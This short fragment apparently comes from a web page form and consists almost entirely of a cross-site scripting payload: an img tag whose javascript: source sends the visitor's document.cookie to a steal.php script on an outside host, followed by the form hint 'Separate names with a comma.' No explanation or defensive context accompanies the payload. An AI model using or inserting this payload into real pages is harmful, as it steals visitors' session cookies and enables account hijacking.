{img src="javascript:window.location='http://www.url.com/steal.php?account='+document.cookie"}
Separate names with a comma.